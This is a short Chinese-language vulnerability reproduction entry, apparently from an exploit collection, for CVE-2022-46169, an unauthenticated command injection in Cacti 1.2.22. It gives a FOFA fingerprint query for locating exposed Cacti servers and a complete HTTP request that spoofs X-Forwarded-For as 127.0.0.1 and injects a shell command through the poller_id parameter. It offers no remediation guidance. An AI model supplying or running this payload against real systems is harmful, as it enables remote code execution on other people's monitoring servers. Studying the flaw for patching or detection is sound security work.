C7-2Cacti-RCE

漏洞描述：

Cacti项目是一个开源平台，可为用户提供强大且可扩展的操作监控和故障管理框架。在1.2.22版本中存在一处命令注入漏洞，攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。漏洞编号：CVE-2022-46169，漏洞等级：严重。

影响版本：

```
Cacti == 1.2.22
```

网站图片：

网络测绘：

fofa语法：

FOFA：icon_hash="-1797138069"

漏洞复现：

payload：

```
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`执行的命令` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

效果图: